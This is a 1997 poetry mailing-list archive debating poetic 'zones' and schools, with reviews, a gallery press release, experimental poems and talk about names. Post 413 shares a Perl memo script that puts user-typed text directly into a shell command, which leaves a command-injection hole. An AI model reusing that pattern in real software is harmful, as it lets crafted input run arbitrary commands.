we have to continue to support stores like Bridge St.
that do act as venues for good work.

re schools & categories, of course one way to blur the
pigeon-holing effect might be to highlight presses, not
zoos or zones or movements. maybe presses are still
subject to being fixed in their orientation from the
outside ["isnt that the one that publishes X?"], but
it seems to me that an article that shows the press at
work, ie a diverse catalog of publications, could avoid
that effect. maybe something like a brief editorial interview
coupled with a catalog & samples.

well, now I've drifted into fantasy.
or maybe just transposed the problem.

c.
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

402. **Miekal And**

Re: per-mail (Pear tree w/potatoes

Wed 12 Feb 1997

Christopher Alexander wrote:
>
> M writtererng:
> > What I'm suggesting is a sort of e-mail exquisite corpse. I've seen as
> > I expect you have those ones some websites have tried to initiate, and they
> > are IMO by and large godawful.
> really I love the one at EPC, especially when high school kids & the
> like get on there. its fascinating, the kind of stuff I would love to
> be able to include in my work

> *"oh, dont end so heavy" says.*
> *well--heres my first cotntribuation*
> *(I cut it to 20 printed lines if thats ok).*
> *love c.*
>
> ———————————————————————————————
>
> *"Automata pense"*
>
> *This is an automated ponse*
> *to message Bravo,*
>
> *T"techne" , changing time*
> *but techne is not the thing. I usings (or his*
> *at the end (c'mon folks, you*
> *can read*
>
> *We are all immersed in a much deeper*
> *"techne" -*
>
> *Timeam reminded Proust mitt self*
>
> *desolations/voids/returns*
> *tha Time brings.*
> *four fried potato sandwiches*
>
> *Proust's narrator screaming at the blight*

> a half-once of prime
NOTHINGNESS
TEE-HEE
> he finds
>
> his writerly

> and the
>
> creation
> a SIMILAR sensation (not the same, but similar,
>
> from the
> ancient past, wechoing) brings memof his gigantic Oeuvof
> in a particular effect of time:

malok feb 12 1997

↑ Index

403. Fred Muratori

Re: review, Piombino

Wed 12 Feb 1997

Nick Piombino is also the author of that wonderful, weird essay collection, _The Boundary of Blur_ from Roof Books. I'll certainly seek out the poetry.

> *There must be something roughly paradise-like about Our World if there's a little press in the Canary Islands called Zasterle that publishes little books like the new _Light Street_ by Nick Piombino. I don't know who he is but he writes beautiful poems. Maybe somebody else can take a turn doing a review, this little book deserves one. I'd quote but I don't have it in front of me & I'm still reading it. I showed it to Savage Reader and even she was won over. (Jack Spandrift just snarled - but I think he's jealous.)*
>
> *Nick Piombino, _Light Street_, Zasterle Press, 1997*
>
> *- Henry Gould (chauffeur to Savage Reader)*

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

↑ Index

404. Charles Alexander
Re: Zones v. Zoos
Wed 12 Feb 1997

> *even (god help us) Dorn,*

This Dorn fellow seems to be reviled by many right now, for reasons I understand. But are things he has done even worse than Pound, or Adorno (a not too-long-ago thread here), that the mere mention of his name requires a prayer? And are people still reading his work, some of which I still find insightful and quite brilliant?

charles

↑ Index

405. Charles Alexander
Re: review (very short)
Wed 12 Feb 1997

I'll second this, at least the part about the book. Don't know much about paradise, but I'd suppose Zasterle would be something to help compose one. And certainly if you want to know more about Nick Piombino, also read his essays in The Boundary of Blur, a book published a few years ago by Roof, which is marvelous.

I do have LIGHT STREET in front of me after recently finishing it. I don't find it very excerptable in really short bits, but I do like the sections of the title poem a lot, so here is section 3 from "Light Street."

3. Learn to wait.
Stroke the velvety silence.
Time's furry coat.
Not even a step, no move at all.
Blank? Good.
Impatient? Sorry.
Describing it is o.k.
One watery cup.
Reading.
Mending.
Going back.
Someone came between.
But this one also drifted away.

I also love the "book-ness" of this book, its size and shape and other characteristics, and particularly the cover design by Rosa Ventura. But then I'm always taken by these Zasterle books put out by Manuel Brito.

charles alexander

At 10:11 AM 2/12/97 EST, you wrote:
>There must be something roughly paradise-like about Our World if there's
>a little press in the Canary Islands called Zasterle that publishes little
>books like the new _Light Street_ by Nick Piombino. I don't know who he
>is but he writes beautiful poems. Maybe somebody else can take a turn doing
>a review, this little book deserves one. I'd quote but I don't have it in
>front of me & I'm still reading it. I showed it to Savage Reader and even
>she was won over. (Jack Spandrift just snarled - but I think he's jealous.)
>
>Nick Piombino, _Light Street_, Zasterle Press, 1997
>
>- Henry Gould (chauffeur to Savage Reader)
>
>

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406. Kenneth Goldsmith
SOLIOQUY Press Release
Wed 12 Feb 1997

****
Bravin Post Lee Gallery
80 Mercer St.
New York, NY 10012
[redacted]

PRESS RELEASE
****

Soliloquy
An Installation by Kenneth Goldsmith

"Scheue Dich ja nicht davor, Unsinn zu reden!
Nur mußt Duf auf Deinen Unsinn lauschen."

(Don't for heaven's sake, be afraid of talking nonsense!
But you must pay attention to your nonsense.)

--Ludwig Wittgenstein

During the week of April 15, 1996 to April 21, 1996, the text-based artist Kenneth Goldsmith tape recorded every word he spoke from the moment he woke up until the moment he fell asleep. He subsequently transcribed the tapes into

a simple word processing program, removing all peripheral language except his own; the words were then strung together into seven separate paragraphs (one for each day), thus creating the raw material for Soliloquy, to be presented at the Bravin Post Lee Gallery opening February 8 and continuing through March 7.

Soliloquy is an installation whereby the second most ephemeral human product, speech, is materialized and concretized in the gallery setting. If Goldsmith is to be taken as a somewhat typical example, then an average human being speaks 183,685 words each week. The artist has taken this week's worth of blather, printed it out (no editing, of course), and plastered the walls of the gallery, floor to ceiling, with three hundred forty four 22" x 30" sheets of paper containing nothing other than what he spoke during this one week last April.

"If every word spoken in New York City daily were somehow to materialize as a snowflake, each day there would be a blizzard."

--Kenneth Goldsmith

Soliloquy, in its profound black and white silence, calls into focus one our most basic (and most often taken for granted) functions: the role of speech in our everyday lives. Speech is flexibly construed as either a public or a private human function; we are often guarded in what we say to others, hoping not to be overheard. However, just as often, we are self-consciously aware that we are using language in a public way, meant to be heard by many. How we define ourselves and how others see us in the world is constructed by what we say. A monumental step in a child's development is the first recognized public use of language. Words are spoken, and then just as fast, they disappear. Goldsmith has frozen that which we often would like most to forget; in doing so, his own language and speech have been seized and made totally public.

By turns humiliating, enthralling, boring, tedious, absurd, absorbing, and yet always overwhelming, Soliloquy puts speech and its attendant issues under a magnifying glass. "The gallery will be covered wall-to-wall with bad breath and I'll be sure to get out of town as soon as it goes up. You can't believe all the things I said that I wish I hadn't," says the artist.

REPORTER: Why don't you write the way you talk?
GERTRUDE STEIN: Why don't you read the way I write?

Soliloquy opens Saturday February 8 and continues through March 7.

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407. **Joseph Lease**
Re: A Lease on History
Wed 12 Feb 1997

Dear Ron Silliman,

Perhaps I should have said historiography: obviously Foucault means and I meant history the discourse not history the gooey stuff we all walk around in all the time and from which there is no escape (yawn).

Foucault seems to have been a kind of dervish of post-historical carnival.

His commitment to dissipating the idea of a unitary identity was ethical, obviously political in the broadest sense: like a law that would make all prisoners judges.

I agree that Foucault uses counter-history as a Telos: he celebrates it even when he says there is nothing to celebrate. Much the way Jameson celebrates Perelman in utterly romantic (apocalyptic) terms in the pomo tome.

So the problem comes in for Althusserians this way: if subjectivity is created by hailing, where is that critique located and what does it generate. I think that in your Leningrad piece (the piece on the task of the collaborator) you say that structuralism and poststructuralism taught poets that individuals don't exist. There's a severe conflict between Althusser's certainty (the opposite of Cezanne's doubt?) and Foucault's belief that individuals do exist emeshed in culture and history and power and multiple multiple multiple identies and because they exist they can chart culture and politics in a more effective way than they could if they didn't exist.

This question is not directly (as in the fallacy of imitative form) related to choices about how to write: how much representation and what kinds how much abstraction and what kinds.

But Foucault, like Lyotard, is deeply suspicious of old-boy meta-narratives. For example, a marxism that takes John Asbhery's you can't say it that way anymore and tries to give it historical determinist messianic force.

You once referred to the wounded-Buffalo school of romantic second-generation Black Mountain outsiders: that's in the same Leningrad memoir (a very subjective and personal reminsicence): my point here is not to defend individual poets but to locate the discussion of poetry zones, which discussion usefully opens the sociology of poetry and defnition and production, within an awareness of specific writing practices . . . with all their textures, all their graniness, tangy, palpable, audible, differences.

All best,
Joseph Lease

On Wed, 12 Feb 1997, Ron Silliman wrote:

> *Joe Lease queries:*
>
> *I'd like to know if Ron Silliman agrees with Foucault that identity is plural and the purpose of effective history (counter history, radical history) is to dissipate it: this position is in severe conflict with Althusser*
>
> *Yes I do and no it's not. History doesn't have a "purpose." We might assign one, but that's another story.*
>
> *Ron Silliman*

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408. **David Israel**

Re: review (very short) / Zaserle

Wed 12 Feb 1997

Henry Gould notes --

<<<
There must be something roughly paradise-like about Our World
if there's a little press in the Canary Islands called Zasterle that
publishes little books like the new _Light Street_ by Nick
Piombino. I don't know who he is but he writes beautiful poems.
>>>

that would be the same Zasterle Press that published, few years back, a little poem-book entitled *Under Erasure* by Mr. Barrett Watten. (gotta figure out where I put that tiny gem)

somehow didn't note/recall Z.P. as locaated in the C islands

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409. **Aldon L. Nielsen**

Re: Essex Hemphill

Wed 12 Feb 1997

---

what I left out was that my interlocutor, having said that he saw Essex in IJ's film, proceeded to describe MR's film -- _Looking_ has always bugged me, perhaps because it seems so unHughesian, but I only saw it once and need to give it a fair chance on another viewing --

Does anybody know if there is any work being done towards collecting Hemphill's poetry? The one readily available selected writings is a tiny sampling of his work over the years -- _Nethula Journal_, by the way, ran from '79 through '82 -- published Michelle Parkerson (whose film on Audre Lorde is being shown again on some PBS stations this month), Sterling Brown, Ahmos Zu Bolton, Robert Hayden, (the irrepressible Judson Crews!), several early works by Harryette Mullen, Joanne Jimason, Maxine Clair and many others including your correspondent, then a student -- Great art work in every number -- the name of the journal came to Essex in a dream -- He had dreams like that! one of the reasons we all loved talking with him --

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410. **Joseph Lease**
Re: ps to Ron Silliman
Wed 12 Feb 1997

It should have been obvious but:

I didn't argue that history has a purpose,

Foucault argues that counter-history has a purpose.

I suggest you look again at Foucault's discussion of genealogy and history: there's a problem for Althusser there.

All best,
Joseph

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411. **aerialedge**
Re: ironwood query
Wed 12 Feb 1997

Michael Cuddihy wrote a book, essentially a memoir, about _Ironwood_ which was published in, I think, the late eighties. It's quite a good book, haven't come across anything like it really. An editorial memoir. However I can only assure you of its existence, can't remember title or publisher, can't find my copy.

SPD had, perhaps still has, some backissues of Ironwood.
The Spicer/Dickinson, Oppen, & last issue. They may be gone.

Best,
Rod

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412. Tom Beard
Re: zones, etc.
Wed 12 Feb 1997

> Also, Bill Manhire has come up here a couple of times. I highly recommend
> his witty collection of short stories, published in the U.S. as -The New
> Land- (can't recall the publisher, sorry). Are there any of his poems
> readily available in this country? The UCLA library has a selection of NZ
> poetry, but it peters out in the early 90's.

Try "Sheet Music: Poems 1967-1982", Victoria University Press 1996. This is a collection of his early poems, most of which had been out of print for a long time. His more recent books, "Milky Way Bar" and "My Sunshine", also from VUP, should also be available, but IMO they're less interesting.

I have a longish review of Sheet Music and My Sunshine at

"http://www2.met.co.nz/nwfc/beard/www/my_sunshine_sheet_music.html",

in case you're interested.

Cheers &c,
Tom Beard.

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413. A. Jennifer Sondheim
Perl program
Wed 12 Feb 1997

You can easily modify the program below to add/hide/delete material on a file for exquisite corpse; it's Perl, runs in Unix shell. Alan

---

```
#!/usr/local/bin/perl -w
# Memo Program for Shell Account

$| = 1;
print "\n\aThese are your current messages:\n\n";
print `cat .message`;
`cp .message .message.old`;
print "\n\aWould you like to erase lines? If yes, type y.\n";
chop($no=<STDIN>);
if ($no ne "y") {goto FINAL;}
print "To erase lines enter first words or unique phrases,\n";
```

```
print "one per line, control-d to end.\n";
open(ZIP, ">> begin");
chop(@rem=<STDIN>);
print ZIP @rem;
close ZIP;
foreach $rem (@rem) {$this = "grep -v '^$rem' .message > .mess";
`$this`; `mv .mess .message`;}
`rm begin`;
FINAL: {
print "Would you like to add to current message list? If so, type y.\n";
chop($str=<STDIN>);
if ($str eq "y") {print "Add new lines now.\n";
print "Use carriage return at the end of each line, use ^d to end.\n";
open(APPEND, ">> .message");
@text=<STDIN>;
print APPEND @text;
close APPEND;}}
exit(0);
```

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414. David Kellogg
Re: Zones v. Zoos
Wed 12 Feb 1997

At 03:55 AM 2/11/97 -0800, Ron Silliman wrote:

> *In your diagram, genre is (or at least seems to be) some intersection between community and tradition. But what, precisely, is tradition if it ain't community?? Is we a lion or is we a moose?*

Moose. Actually, "tradition" in my schematic is not the same thing as community (what I have also called, perhaps more accurately, the socius). so genre as such is nowhere located on the field, although "lyric" seems to occupy the top-right corner and some forms of "witness poetry" the bottom left. The community/socius pole bears a big resemblance to what in Bourdieu's model of cultural fields goes by the name of "heteronomy". I'm speaking, remember, of the differences between a formal and a social appeal. So tradition is neither community nor practice -- rather, it's the sense of pastness that operates differently in different contexts -- one poet might invoke it through reference to rhyme and meter and another poet might invoke it by, say, allusion to Lowell.

One might think this way, for example, about the issue of journal publication. The poet who publishes in _Poetry_ or _APR_ in 1997 engages, by this gesture,

primarily in an appeal to tradition, whereas the poet who publishes in _Tinfish_ or _New American Writing_ might be engaging primarily in an appeal to community. This is because of the different way the journals operate, one as a repository, the other as an ongoing dialogue. So a New Formalist magazine like the now-defunct _Reaper_ engages first, in building a community of like (light?) minds, even as that community attempts to revitalize the appeal to "tradition" (in part by recasting it -- i.e., writing in rhyme and meter -- as the true "innovation."

Part of my point in constructing this model is to claim that the poetry biz collectively misrecognizes the diversity of poetic practice and the different -- sometimes incompatible -- appeals to value by invoking something called "poetry" to cover the whole hog. Critical "success" in this account is nothing less than the seeming erasure of these different poles.

snappin' and cracklin' (and recently poppin'),
David
~~~
~~~

exceedingly problemantic, since all poems use language. "Always already" to borrow that annoying Derridian phrase. B. Perelman, in his recent _Marginalization of Poetry_ discusses various terms for the poetry that is his subject, but I wasn't very happy with his (non) conclusions. (People might argue there are poems that don't use language, eg "sound poems," "visual poems", but here the word poem is obviously modified with another word--suggesting that the word "poem" is meant to describe an abstract form, like a "feeling" or an "idea", though probably closer to the former than the latter in the US today--and this is something I hope to get back to below.) All "language" and "non-language" (or "traditional") poems use language, then. (I am being painfully simplistic and verbose in an effort to worry this out.)

All my examples are the most obvious possible. I suspect many on this list have thought this all out before but I this is an attempt to at least give words to my understanding, with the hope that people will agree or disagree where they deem appropriate. I apology for the length.

And most contemporary poets probably consider there use of language to be innovative (a term that comprises one boundary of the poetry field we have seen recently). From the modernists forward (maybe from the French Surrealists forward) I can think of few of even the most widely sold and read poets who would not consider themselves linguistically innovative: the late-great Frost being one (though even here not necessarily the _relatively_ young Frost Pound promoted), probably Phillip Larkin another, *late* Eliot, etc. As a rule of thumb, the less widely sold and read, the more likely a poet considers herself and is considered (by whom?-) innovative. Perhaps that's a stretch (provoked). But this would make sense in as much as *our* society (US, late 20th C) tends to consider poetry a politically radical activity and a progressive art form, and those poets who feel they are not getting enough public attention (not carried in enough bookstores, not taught enough in The Academy, etc) would probably rather assign this lack to their relative progressive- rather than regressive-ness. (ie, it would perhaps sound a little odd to hear a poet from this list say, "I'm just too fucking Old-Fashioned to be taken seriously!") And we have R Silliman's comment [damn, I haven't that post on this computer(I have to switch computers in the middle of the day)] that by "Innovation" is perhaps meant a drive shared by all poets, a groping towards something that seems to each writer unrealized (in language, in form, tradition, community, what have you or them). And I remember M. Bernstein in a post some weeks back saying that poetry was "revolutionary." But what constitutes "language poetry"? Not the fact it uses language. Not the fact that it uses language in an "innovative" fashion, at least not in a general way. But the term is used relatively easily, and clearly applies to some poets and not others (that "language poetry" as a label may always be stretched or snapped doesn't matter, as most any labeling of poetry "schools"

may be as well, and the exceptions in this case do not effect the general rule, which is the function of "language poetry" as a label.) "Language poetry" sometimes refers to work that is characterized by broken syntax, sometimes fractured words, etc., either deliberately (eg, Bernstein) or as the result of a method of textual generation (eg, Mac Low). "Language poetry" sometimes refers to work that calls into question "representations of the self." Usually along the lines of demolishing the notion of the much-encompassing "lyrical I" in favor of poetry that eschews this "voice" in favor of a more "dialogic" (though I have never seen anyone on this list refer to Bakhtin's Dialogism or Social Heteroglossia) or "multi-vocal" voice. This is sometimes accomplished mimetically using the form described in the previous paragraph. Mac Low states as much in the Afterword to _The Pronouns_. Others have elsewhere. However, in general I find this categorical definition as incomprehensible as the "Innovative" one because there is much cross-over with poets usually considered outside the "language poetry" realm. For example, Bob Hass, like Mac Low, has claimed the importance of a "Buddhist belief in voice" (not quoting either one exactly) as imforming their poetry. And the question of how much any writer has personal or monological control over her voice is old and historically varient. "Language poetry" refers sometimes to works that are very "conventional" looking and sounding, but are written by "language poets." Recent B. Perelman as an example. "Language poetry" often seems to refer to works that are not widely bought and sold, stocked by Barnes and Noble, etc. In this sense "Language" seems a substitute for "Marginalized." At the same time of course our society is so relatively large, diverse and loosely-knit, and generally poetry-illiterate, that this Marginalization has to be primarily economic, since there is more than enough "room" in the field of "Language poetry" for an intersted party to read contentedly for quite some time, provided they don't expect to find what they want in the local store (distribution being regional, of course--you won't find any poetry in the Hallmark in Laconia, NH, for example), and (along the same line of reasoning) since "mainstream poetry" is not all that popular (except in the Academy) compared, say, to TV or doggeral, it might consider itself marginalized as well.

I must break off now.
Where does one go from here?
Among the many, what are some-things I've left out?

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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416. **robert zamsky**
Re: Rasula and poetry zones
Wed 12 Feb 1997

David -- While I find your chart interesting and intriguing, I also find it very troublesome and indicative of what I see as a limitation (and modernist hangover) in contemporary theory/crit. Why the obsession with mapping poetic endeavor? From the tenor of your comments, I take faith that you are not propounding fixity or stasis. However, why do we (under the unfortunately uncomplicated shadow of Jamesonian Marxism) insist on enumerating the differences between individuals? How is it that the philosophical endeavor is to investigate the boundaries between individuals? I know, this is a history that goes waaaayyyyyy back (Nietszche, no, Aristotle), but that doesn't make this history any more sacred than any other. What if we give up on the notion of spatial metaphors as ever being sufficient, or even ultimately useful, and try to work instead with the problem of contact and interchange -- i.e. Levinas or even Heidegger. That is, posing the question of difference this way: how do I know I'm not you? What if an encounter with otherness is really a frightening and threatening brush with the loss of self through intimacy? How might posing the question in these terms of fluid interchange effect our understanding of poetic "schools"? And, via Levinas, what exactly do we mean by "difference," anyway?

It seems to me that a notion of identity as existing through the fluid interchange/exchange with difference is what much "post-modern" lit. and poet bumps up against. The notion that my identity is not defined by my charting of my fourteen different subject positions, but through my complicated residence in the fluidity of the one.

Just some thoughts.

Best --

Robert Z.>
> Pardon the lengthy description of my own work. I post this here because it
> is relevant to the discussion, and also because I'd like to hear from folks
> who object to my account, so as to strengthen it. So here goes:
>
> Although I find Rasula's account of the four "zones" of poetry compelling,
> Joseph Lease and Forrest Gander rightly point to problems with zones as an
> operative category. Assigning particular poets to one or another zone is
> only one of these problems. There are always exceptions, such as Lauterbach
> and Gander himself, and the New Formalism seems, as Lease pointed out, a
> blip on the poetic horizon, fast becoming (if it hasn't already become)

> insignificant.
>
> Rasula has his finger on something important, however. In my own
> work-in-progress on the poetic field (for an abstract, see
> "http://www.duke.edu/~kellogg/sri.html"), I conceive these zones as
> abstractions, POLES OF VALUE within the contemporary construction of po-
etic
> practice. (This work is obviously indebted to Pierre Bourdieu in ways that
> I don't have time to explain right now.) What Rasula identifies as the MFA
> school corresponds more or less to a poetry predicated on uncomplicated
> representations of Self. Against this obviously is the poetry of social
> conflict, community building, identity politics, etc. Call the struggle
> between these two poles the horizontal (social) axis of the poetic field.
> Appeal to one or another of these sources of value has little to do with
> form as such. What I call the formal, or "vertical" axis of the poetic
> field comprises both NF and LP, but without naming them. While the New
> Formalism is fading fast, the appeal to "tradition" still operates within a
> lot of contemporary poetry, even language poetry as it becomes canonically
> interesting. (I am speaking sociologically; I don't mean "interesting" as
> an evaluative comment.) Against the appeal to "tradition" one could place an
> appeal to "innovation." So that the contemporary poetic field looks more or
> less like this:
>
> TRADITION
> ----------
> | |
> | |
> SELF | [the poetic field] | COMMUNITY
> | |
> | |
> ----------
> INNOVATION
>
>
> It seems to me that this kind of a model is more flexible than a model which
> operates in terms of "zones" or "schools." As New Formalism fades, the
> appeal to tradition is still operative. As language poetry becomes (to
> paraphrase Ron Silliman) more of a moment than a movement, other
> possibilities begin to inhabit the arena close to innovation. Obviously
> much language poetry would still be placed close to the "innovation" pole,
> but individual poets' work could be read at various places within the field.
> Moreover, poets might _move_, or be moved, as the vicissitudes of

> canonization affect perception and reading. (Charles Bernstein's work seems
> a lot more "traditional" now -- what with various historical accounts of
> language poetry by Beach, Perelman, etc., and what with the recovery of
> Stein and Zukofsky, and _The Tennis Court Oath_ for a broader audience in
> various critical accounts -- than he did in, say, 1980. Also, Bernstein's
> own criticism has helped create the traditional context for his work.) One
> could also place individual poems, "schools" (Iowa, Brown, Buffalo), and
> institutions at various points within the field.
>
> Well, whaddaya think? Does this account via poles of value escape some of
> the problematics of the zone/school?
>
> Cheers,
> David
>
~~~
~~~

Large ostinato for piano
& more

Feb 14th, 8pm
Grand Duo
Varied Trio
Strict Songs

Feb 15th, 8pm
Gamelan concert

Feb 16th, 12 noon
Poetry Reading: Lou Harrison (whos book of poems _Joys & Perplexities_ was published by Jargon, 1992); Jack & Adelle Foley; Hank Lazer; Joyce Jenkins; and probably Michael Tilson Thomas.

Feb 16th, 2 pm
Final Concert
Double Music (with John Cage) (ie composed with Cage?)
Concerto No. 1 for Flute & Percussion
Serenade for Guitar and Optional Percussion
Song of Quetzalcoatl
& more

There are also a number of free discussions, and $5 demonstrations (Gamelan on Saturday at 2pm), and a film...

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418. **DS**
Re: Michael Coffey / poetry "schools"
Wed 12 Feb 1997

> *Multicultural (not poetics--poetics is something else)--fine (and there's really no need to break that down0;*

Why fine? I think this is the most confused and problematic of all labels.

Usually what people really mean is 'other cultures' which prescribes immediately who the book is for & not for. If there were a language element to it, there could be a non-English based category - but that leaves out those who chose to write in English. Even the old boiler post-colonial is better than multi-cultural though carrying its own complications.

Or perhaps multi-cultural implies that the poets are themselves 'multi-cultural' and maintain multiple-culture-personalities, but then don't we all to a certain degree.

Perhaps you need other labels such as 'indigenous' (a horrible word tho), or an 'international' that has poets broken down to their respective nationalities or alliegances. Perhaps there is room for an identity poetry, or even anti-colonial.

Just some thoughts,

dan

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419. A. Jennifer Sondheim
jennifer's hatred of others
Wed 12 Feb 1997

-

jennifer's hatred of others

i want to steal your girl from you
 she doesn't belong with you
  she belongs with me
   hatred of couples
    i despise your glances smeared across your faces
hatred of useless wealth
 your broaches pins drooling from your fat nipples
  get a life jennifer
   nobody deserves more than me
    money for your work your blackglass limousines
     airline tickets plied with liquor
      strafed artifacts archeologies steamships
just cause i want you doesn't mean i want you
 you think you're better than me
  i'll bite your head off
   stop fucking reproducing
    i'll sever your coupled hands the two of you
     i'll pull my frock up and piss on your faces
      you'll love it slobber slobber
i'll make you watch
 i can have anyone i want any sex any time anywhere
  cut your ring fingers off glint glint
   split you in two
    all that useless metal
i'll take your watch
 i've got all the time now tick tick
  i can wait
   your motherboard's dead meat

your father's lost his name
you know i'm talking to you
you smell of me
you always will simper simper
you're not worth my piss simper simper
jennifer's hungry
jennifer wants your girl

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420. **Aldon L. Nielsen**
Re: Zones v. Zoos
Wed 12 Feb 1997

Yes, I still read Dorn's work --

No, he hasn't, so far as I know, done anything AS BAD as Pound --

But is that some immutable measure -- I don't know if Alan Golding will remember this or not, but several years back at a dinner following sessions at the 20th century lit. conference, Dorn made remarks that made my skin crawl -- more cowardly then, I spent the rest of the evening at the other end of the table with Chris & Deborah Parr -- should have confronted him on the spot -- Dorn has much of interest to say still -- as many of us witnessed at Orono last year -- but he's also shown himself a bigot in unforgivable ways -- does one have to have exceeded Pound in some kind of sweepstakes of prejudice?

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421. **Joel Felix**
Re: Zones v. Zoos, Conjunction Junction
Wed 12 Feb 1997

And I had figured Peter Cole, of Leviticus "fame." Maybe because growning up in Detroit in the '80s (and not knowing of the Tish's) I used to think that Conjunctions was the canonizer of contemp. lit/po.-- (I blush to reveal that to this list.) Anyways the writing world is a lot wider than Bradford Morrow's A list-- but the formulation of Taggart Cole Sobin could be easily mistaken for a Conjunctions school by a 17 year old.

joel felix.

Dodie Bellamay wrote:
>Oddly, Keith, I thought that Ron meant Norma Cole in his list:
>

>>Consider, for example, that non-group posed by Forrest Gander. Several
>>of the folks on that list--Taggart, Cole and Sobin, say (and to some
>>degree Palmer)--all share enough features to compose a group of their
>>own except that the Loner status with all its aching pretentiousness is
>>one of its major preconditions.
>
>I don't think Ron would fall into the trap of naming men by their last
>names and then slip to a first name basis for a woman--I think Ron is much
>too aware for that.
>
>But then he added:
>
>>All of them are male second generation
>>Black Mountain poets whose work is notably more timid than that of
>>their elders.
>
>So I figured it must be some male Cole that I'm not familiar with.
>
>Who is this mysterious Cole?

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422. **Susan Wheeler**

Re: Names

Wed 12 Feb 1997

Ma's side:
grandma: Olive C. Diffenderfer Skeen
her brother/my great uncle: Meldrum C. Diffenderfer
my uncle/her son: Carrel Wesley Skeen
My dad's side:
grandma: May Wheeler
her brother/great uncle: Winslow Harding Loveland

I got no middle name (unlike my brother, who got Daniel AND Harding with Wheeler) so when Carrel Wesley (my only uncle or aunt) traced the Skeen side back through Daniel Boone via his daughter Susannah and I was 7 I took on the shebang until my current teacher Miss Lewis raised a fuss about whether I had LEGALLY changed it to Susannah Boone Wheeler. That was the end of any flirtations with a middle name.

But there was also talk of my being named for a great great grandmother
>on my maternal side, Rachel Leet Wilson, who married Richard Harding and
>gave birth to Rebecca Harding (later Rebecca Harding Davis, author of

>_Life in the Iron Mills_, for you Am Lit trivia mavens).
>
>Loden is a made-up name (1972 vintage). Long, exhausting story, as I'm
>sure is true of many (esp. women's) last names.
>
>Rachel
>
>
Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

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423. Michael Boughn
Who's Zoning Who
Wed 12 Feb 1997

(Who's Zoning Who?)

Consider, for example, the group of poets consisting of W, X, Y, and Z. All middle aged males, they recognized early in their poetic careers that fame, in contemporary American society, is a function of marketing, and that the marketing of ideas about poetry especially requires a gang (also known as a "school" or "group"), as their spiritual forebears, the New Critics, had effectively demonstrated. They formed one and then proceeded to successfully market each other through the gang's various magazines, publishing houses, anthologies, and University courses. Sharing an acute Oedipal anxiety about the poetries which preceded them, they proposed their writing as being involved in a radical social-historical "rupture". This served to cover the fact that they neither understood what constitutes beauty in the contemporary world nor were capable of engaging the complex question of its importance to poetry (seeing it presumably as somehow displaced by justice). Instead, relying on polemical attacks on "genre" to cover their tracks, they produced a lackluster, prosaic "writing" in which simplistic ideas about "ideology" were masked by syntagmatic verbal trickery.

Mike
[redacted]

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424. George Bowering
Re: Clothes Make the Man
Wed 12 Feb 1997

> *George,*
>
> *No wonder you didn't get mugged. Dressed like that, people probably thought you were in one of Sun Ra's Astro-adjectival Arkestra's of the period.*

Yeah, except this was on a Thursday. Sun Ra, in those days, played every Monday night at Slugs's. I wish I had been there then. I would have worn more things made of silverfoil, though. Onliest time I heard Sun Ra was at some grotto college in Montreal in about 1971. That was his period when he had flashing lights up and down his arms and onh his antennae.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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425. David Bromige
divers
Wed 12 Feb 1997

Zasterle Press certainly w a s in the Canaries. Manuel Brito is, I believe,its editor/publisher. This press has done many handsome books by many poets known to listmembers,I ween--a number of them L=A=N poets. Our Listmaster will perhaps fill in the gaps.

I have written abt L=A=N poetry as a movement within a tendency.

I always found the analogy useful when i was teaching, of the poem as a window so clean as to be invisible, so that the scene it gives onto, dominates; or the poem as a window so interestingly flecked with cobwebs, flies, dirt, etc, that the scene beyond fades behind such immmediacy. This latter, of course, being langPo. I'm aware this leaves a lot unanswered, but it made a handy place to start.

It leaves out the struttin' pomposity of many clean-window poems, where one cant not-see the window because the figure of the poet gets in the way.

LangPo may be this tiny, marginalized semi-group effort certain people on this list perceive, but its influence is everywhere visible. Not a maindrains poet whose work doesnt reveal that, as the 80s progressed, its author took on some coloration from L P.

Neo-formalism is in my opinion down to LAngPo too. I wd see it as well, as a re-action against the workshop poem. Btw, announcements of the death of the avant-garde continue to reveal the imperative of novelty.

Happy typo of the day: lingusts. (as in "a plague of lingusts has been feeding upon the General Reader"?)

Enjoyable, too, is the deliberate homonym "light-minded." "We were of light minds so we floated up to an early circle."

Aldon, always glad to read yr postings, buddy, so caszh & so infoful.

db--trying to keep his postings down to one a day.

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426. **David Bromige**
second posting of the day
Thu 13 Feb 1997

---

and then i forgot to say that Nick Piombino who lives in NYC has a book out with Sun & Moon of excellent poems, & in a later issue of _Avec_ some of his aphorisms. His essays, so dense as to double up as poems, can be found in a number of locations, and are a m u s t for anyone interested in the poetic practice of the present. db

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427. **aerialedge**
Re: Michael Coffey / poetry "schools"
Thu 13 Feb 1997

"a readership that simply wants to browse and make its own decisions, thank you."

Thank you Fred Muratori.

The question remains how long there will be "poetry providers" -- i.e. non-corporate bookstores, or anything else that isn't an imposed common denominator. Not to be too doleful, after all we do have Brighten the Day.

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428. Marina deBellagente laPalma

names' fluidity

Thu 13 Feb 1997

At birth, in the late 1940s in Italy, I was named Marina Ada Paolina Oleario-de Bellagente. (a long story.) Came to Amerika in mid 50s and whenever a teacher began stammering, I would just say "present." In "the sixties" (ahem) I was Liza Bread to many of my friends, and Marina Bostedt when I published poetry; in the 70s I became Marina LaPalma as I hand typeset the title page of the first book we ever printed as Kelsey Street Press (Neurosuite, translations from Italian of Margherita Guidacci's poetry.) In some parallel universe I have been for 16 years a certain Mrs.Goldstein. My husband is named Richard Goldstein, but at the age of 15 he re-named himself Rich Gold. It is now his professional name as it was through the 70s and early 80s as an electronic artist; he is legally still Richard Goldstein but does get checks for Rich Gold sometimes and hotel and car rental bookings in various parts of the world can be annoyingly ambiguous or unstable because of it.

